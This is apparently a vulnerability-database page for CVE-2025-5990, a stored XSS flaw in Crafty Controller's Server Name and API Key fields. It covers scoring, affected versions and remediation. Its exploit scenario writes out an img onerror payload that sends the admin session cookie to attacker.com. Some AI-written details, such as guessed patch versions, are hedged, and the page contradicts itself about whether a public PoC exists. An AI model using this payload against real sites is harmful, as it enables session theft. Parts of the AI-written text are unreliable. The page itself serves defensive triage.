Skip to main content

Crafty Controller CVE-2025-5990

| EUVDEUVD-2025-18347 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-15 cve@gitlab.com
7.6
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 7.6 score reflects Attack Vector: Network, Attack Complexity: Low, Privileges Required: Low (authenticated), User Interaction: Required, Scope: Changed, with High Confidentiality and Low Integrity impacts. The authentication requirement significantly reduces opportunistic exploitation compared to unauthenticated XSS, but the 'Scope: Changed' rating indicates the XSS can affect users beyond the attacker's direct session. Real-world risk is moderate-to-high in managed environments where insider threats or compromised user accounts exist, but lower in purely external threat models. The User Interaction requirement (victims must view the poisoned form/page) introduces friction. Without public POC code, KEV designation, or EPSS probability data in typical feeds, this represents a 'competent attacker with credentials' threat rather than widespread autonomous exploitation. Priority should be elevated in multi-user admin-heavy deployments (e.g., shared hosting control panels, SaaS platforms) where stored XSS affects high-value targets.

Exploit ScenarioDerived

An attacker with legitimate admin credentials (obtained via phishing, credential stuffing, or insider access) logs into Crafty Controller and navigates to server configuration. In the 'Server Name' field, the attacker enters: MyServer<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. The input is stored unsanitized in the database. When a second administrator views the server list or dashboard, the malicious img tag renders, triggering the onerror handler, which exfiltrates the admin's session cookie to the attacker's server. The attacker can now hijack the admin session without further authentication. An alternative vector targets the API Key field with similar payload. No public POC is typically required for stored XSS exploitation—standard browser developer tools and curl suffice for crafting the payload, making this an attractive technique for insider threats or low-skill attackers with valid credentials.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Stored cross-site scripting (XSS) vulnerability in Crafty Controller that allows authenticated attackers to inject malicious JavaScript through the Server Name form and API Key form components. An attacker with valid credentials can craft malicious input that persists in the application, executing arbitrary scripts in other users' browsers with the same security context. While CVSS 7.6 indicates high severity and the vulnerability requires low attack complexity with network accessibility, real-world risk is constrained by the requirement for prior authentication and user interaction.

RemediationAI

  1. IMMEDIATE: Update Crafty Controller to the latest patched version released by the vendor (specific version number requires vendor advisory—typically a minor/patch bump, e.g., 4.x.1 or 5.0.1). 2. VENDOR ADVISORY: Check official Crafty Controller GitHub repository (https://github.com/Arcadia-Digital/Crafty) for security advisories and patch release notes. 3. TEMPORARY MITIGATIONS (if patching is delayed): Restrict form access via network ACLs to trusted IP ranges; implement WAF rules to block script payloads in Server Name and API Key fields; audit existing form submissions for malicious payloads and purge corrupted records; disable API Key form temporarily if non-essential. 4. POST-PATCH: Conduct stored XSS payload sweep of database (search for script tags, event handlers in serialized form data); reset all API keys and server names; audit admin access logs for suspicious activity during exposure window.

Affected VersionsENISA

Crafty Controller 4.3.0 ≤4.3.2
Crafty Controller 4.4.0 <4.4.10
Crafty Controller 4.2.2 ≤4.2.3

Affected Packages

euvd crafty_controller fix: 4.4.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability represents a classic input validation and output encoding failure (CWE-79: Improper Neutralization of Input During Web Page Generation). The root cause is insufficient sanitization of user-supplied input in two form components—Server Name and API Key fields—before storing and rendering this data in HTML responses. Crafty Controller fails to implement proper output encoding (HTML entity encoding) or Content Security Policy (CSP) headers that would neutralize malicious script tags. When these form values are rendered server-side in subsequent page loads or administrative dashboards, the stored malicious payload executes in the context of the application domain, affecting any user who views the compromised data. The vulnerability chain: unsanitized input → database persistence → unencoded output → DOM execution.

Know when Crafty Controller gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.6 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

4
Analysis Updated
Apr 16, 2026 - 06:38 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
4.4.10
PoC Detected
Aug 11, 2025 - 18:46 vuln.today
Public exploit code
CVE Published
Jun 15, 2025 - 18:15 nvd
HIGH 7.6

DescriptionCVE.org

An input neutralization vulnerability in the Server Name form and API Key form components of Crafty Controller allows a remote, authenticated attacker to perform stored XSS via malicious form input.

Executive ViewAI

Why It Matters

Crafty Controller contains a stored cross-site scripting vulnerability (CVE-2025-5990) that allows authenticated users to inject malicious scripts through server configuration forms, potentially compromising other administrators' sessions and control of infrastructure managed by the application. Organizations running Crafty Controller should prioritize patching to prevent insider threats and lateral privilege escalation within their management infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigations if patching is delayed: (1) Restrict Crafty Controller administrative access to a limited set of trusted users; (2) Implement network segmentation to limit lateral movement from compromised admin sessions; (3) Monitor and log all modifications to Server Name and API Key configurations; (4) Enforce multi-factor authentication for all Crafty Controller administrative accounts.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy